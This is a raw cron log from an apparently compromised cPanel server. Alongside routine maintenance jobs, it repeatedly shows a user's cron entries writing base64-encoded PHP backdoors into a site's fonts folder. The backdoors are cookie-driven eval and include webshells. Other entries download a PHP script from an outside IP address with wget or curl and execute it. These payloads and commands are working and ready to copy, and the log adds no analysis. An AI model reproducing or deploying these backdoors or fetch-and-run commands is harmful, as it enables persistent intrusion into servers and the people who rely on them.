Sep  2 03:45:02 ip-184-168-122-23 CROND[5245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:45:02 ip-184-168-122-23 CROND[5243]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:46:02 ip-184-168-122-23 CROND[5435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:46:02 ip-184-168-122-23 CROND[5436]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:46:02 ip-184-168-122-23 CROND[5437]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 03:46:02 ip-184-168-122-23 CROND[5442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:46:02 ip-184-168-122-23 CROND[5441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:46:02 ip-184-168-122-23 CROND[5438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:46:02 ip-184-168-122-23 CROND[5443]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 03:47:01 ip-184-168-122-23 CROND[5540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:47:01 ip-184-168-122-23 CROND[5542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:47:01 ip-184-168-122-23 CROND[5541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:47:01 ip-184-168-122-23 CROND[5543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:48:01 ip-184-168-122-23 CROND[5644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:48:01 ip-184-168-122-23 CROND[5645]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:48:01 ip-184-168-122-23 CROND[5646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:48:01 ip-184-168-122-23 CROND[5650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:48:01 ip-184-168-122-23 CROND[5651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:49:01 ip-184-168-122-23 CROND[5761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:49:01 ip-184-168-122-23 CROND[5762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:49:01 ip-184-168-122-23 CROND[5763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:49:01 ip-184-168-122-23 CROND[5764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:50:01 ip-184-168-122-23 CROND[5904]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 03:50:01 ip-184-168-122-23 CROND[5905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:50:01 ip-184-168-122-23 CROND[5907]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 03:50:01 ip-184-168-122-23 CROND[5911]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:50:01 ip-184-168-122-23 CROND[5913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:50:01 ip-184-168-122-23 CROND[5916]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:50:01 ip-184-168-122-23 CROND[5915]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:50:01 ip-184-168-122-23 CROND[5914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:50:01 ip-184-168-122-23 CROND[5923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:51:01 ip-184-168-122-23 CROND[6114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:51:01 ip-184-168-122-23 CROND[6116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:51:01 ip-184-168-122-23 CROND[6118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:51:01 ip-184-168-122-23 CROND[6120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:52:01 ip-184-168-122-23 CROND[6215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:52:01 ip-184-168-122-23 CROND[6217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:52:01 ip-184-168-122-23 CROND[6218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:52:01 ip-184-168-122-23 CROND[6219]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:52:01 ip-184-168-122-23 CROND[6220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:53:01 ip-184-168-122-23 CROND[6316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:53:01 ip-184-168-122-23 CROND[6318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:53:01 ip-184-168-122-23 CROND[6319]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:53:01 ip-184-168-122-23 CROND[6322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:54:01 ip-184-168-122-23 CROND[6402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:54:01 ip-184-168-122-23 CROND[6404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:54:01 ip-184-168-122-23 CROND[6403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:54:01 ip-184-168-122-23 CROND[6405]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:54:01 ip-184-168-122-23 CROND[6406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:55:01 ip-184-168-122-23 CROND[6501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:55:01 ip-184-168-122-23 CROND[6503]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:55:01 ip-184-168-122-23 CROND[6504]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:55:01 ip-184-168-122-23 CROND[6505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:55:01 ip-184-168-122-23 CROND[6506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:55:01 ip-184-168-122-23 CROND[6507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:56:01 ip-184-168-122-23 CROND[6698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:56:01 ip-184-168-122-23 CROND[6702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:56:01 ip-184-168-122-23 CROND[6703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:56:01 ip-184-168-122-23 CROND[6700]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:56:01 ip-184-168-122-23 CROND[6701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:57:01 ip-184-168-122-23 CROND[6798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:57:01 ip-184-168-122-23 CROND[6799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:57:01 ip-184-168-122-23 CROND[6801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
